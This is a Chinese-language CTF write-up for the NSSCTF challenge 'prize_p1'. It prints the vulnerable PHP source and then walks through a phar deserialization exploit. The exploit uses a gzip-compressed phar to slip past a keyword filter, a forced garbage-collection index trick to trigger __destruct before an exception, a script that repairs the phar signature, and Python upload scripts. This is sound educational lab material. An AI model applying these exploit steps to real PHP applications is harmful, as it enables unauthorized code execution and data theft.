记一道CTF中的phar反序列化

记一道CTF中的phar反序列化

Author: takahashi

提要

        最近这段时间恍恍惚惚有点不知道干嘛, 想着闲来无事不如去做两道CTF,于是有了此文。记录一下自己做题的思路过程以及遇到的一些问题, 有不对不足之处还望师傅们斧正。

        思路上参考了atao, xenny两位师傅的WriteUp。 题目出的很棒, 学到了很多东西!

        平台: NSSCTF

        题目名:prize_p1

开始做题咯~

        打开环境, 映入眼帘的就是源码

<META http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
highlight_file(__FILE__);
class getflag {
    function __destruct() {
        echo getenv("FLAG");
    }
}
class A {
    public $config;
    function __destruct() {
        if ($this->config == 'w') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            file_put_contents("./tmp/a.txt", $data);
        } else if ($this->config == 'r') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            echo file_get_contents($data);
        }
    }
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
    die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

        简单过一遍代码可以看到在倒数第二行有一个unserialize反序列化的函数,继续审计代码可以发现主要利用点在file_get_contents和file_put_contents两个函数上面。再往上看可以看到最终要打的内容, 通过getflag类中的__destruct魔术方法拿到flag。

        理完一遍思路之后重新审计一下代码

class A {
    public $config;
    function __destruct() {
        if ($this->config == 'w') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            file_put_contents("./tmp/a.txt", $data);
        } else if ($this->config == 'r') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            echo file_get_contents($data);
        }
    }
}

        通过config的值去控制文件读写, 审计一下正则发现基本上把伪协议都过滤了, 直接new getflag也不行,这种情况下十六进制类名也绕不了,再仔细审计一下发现虽然phar伪协议没有作限制。但是对类名作了过滤, 这个时候我就没什么思路了。

Phar混淆

        找了会儿资料但是没什么思路, 只能去求救大佬。 去问了个牛纸, 他给我推了篇文章, 大致原理就是用其他的压缩格式再对phar文件进行压缩达到混淆的效果, 部分压缩格式混淆过的phar内容同样可以直接被phar://伪协议解析。

事不宜迟, 写个脚本生成phar文件

<?php
    @unlink("takahashi.phar");   // unlink() 删除文件
    class getflag{
    }
		$a = new getflag();
    $phar = new Phar("takahshi.phar"); 
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar -> setMetadata($a);
    $phar->addFromString("1.txt", "123"); 
    $phar->stopBuffering();
?>

记一道CTF中的phar反序列化

        然后用gzip压缩

记一道CTF中的phar反序列化

        然后写个脚本上传一下

import requests
url = ""
phar = open("takahashi.phar.gz", "rb")
sentData = {
    0: phar.read()
}
phar.close()
requests.post(url=url + '?0=O:1:"A":1:{s:6:"config";s:1:"w";}', data=sentData)
response = requests.post(url=url + '?0=O:1:"A":1:{s:6:"config";s:1:"r";}', data={0: "phar://./tmp/a.txt"})
print(response.text)

        但是运行之后却没有flag, 本地调试的时候发现phar反序列化结束后会提前被最后一行的异常抛出给强行终止程序运行, 导致__destruct无法成功执行。

throw new Error("那么就从这里开始起航吧");

PHP强制GC绕过

        这一块实在是没什么思路去绕过, 于是参考了一下xenny和atao两位师傅的wp, 此处用的是xenny师傅的思路, 修改文件内容 -> 签名修复 -> 文件上传。

        atao师傅用的思路是上面文章里面的第二种方法, 这边就顺着我最初的思路延伸继续用gzip。atao师傅讲的也是真的不错, 对里面的内容进行了补充。

针对PHP的GC内容此处不多赘述, 如果对此知识点不是很熟悉可以看看这几篇文章:

php的垃圾回收机制(gc)_m313557552的博客-CSDN博客

php垃圾回收机制(gc)介绍

PHP垃圾回收机制(GC) – 欢乐豆123 – 博客园

构造一下替换的内容

<?php
	class getflag{
	}
	$a = array(new getflag(), 1);
	echo serialize($a);
	echo str_replace("}i:1;", "}i:0;", serialize($a));
?>

        分析一下POC, 首先创建了一个有2个元素的数组, 序列化结果如下:

// 蓝色字体代表元素在数组中的位置, 红色字体代表元素值

a:2:{i:0;O:7:"getflag":0:{}i:1;i:1;}

使用替换函数后生成的结果如下

a:2:{i:0;O:7:"getflag":0:{}i:0;i:1;}

        可见第二个元素移动到了第一个元素的位置, O:7:"getflag":0:{}失去了引用, 被PHP强制回收从而销毁对象触发__destruct()魔术方法。

修复文件签名

        在二次复现时发现直接对文本内容修改然后用X尼师傅的脚本跑发现修复后的文件后八位值会改变, 建议重新生成phar文件然后用winhex或010等工具修改十六进制。

<?php
    @unlink("test.phar");
    class getflag{
    }
		// 创建一个数组
    $a = array(new getflag(), 1);
    $phar = new Phar("test.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
    $phar -> setMetadata($a);
    $phar->addFromString("1.txt", "123"); 
    $phar->stopBuffering();
?>

记一道CTF中的phar反序列化

        然后修复文件签名, 这边贴一下X尼师傅的脚本

from hashlib import sha1
f = open('test.phar', 'rb').read()  # 修改内容后的phar文件
s = f[:-28]  # 获取要签名的数据
h = f[-8:]  # 获取签名类型以及GBMB标识
newf = s+sha1(s).digest() + h  # 数据 + 签名 + 类型 + GBMB
open('takahashi.phar', 'wb').write(newf)  # 写入新文件

        修复后使用gzip压缩一下上传成功拿到flag。

import requests
url = ""
phar = open("test.phar.gz", "rb")
requests.post(url=url + '?0=O:1:"A":1:{s:6:"config";s:1:"w";}', data={0: phar.read()})
phar.close()
response = requests.post(url=url + '?0=O:1:"A":1:{s:6:"config";s:1:"r";}', data={0: "phar://tmp/a.txt"})
response.encoding = "utf-8"
print(response.text)
                       

点击阅读全文

上一篇 2023年 6月 10日 am10:58
下一篇 2023年 6月 10日 am11:08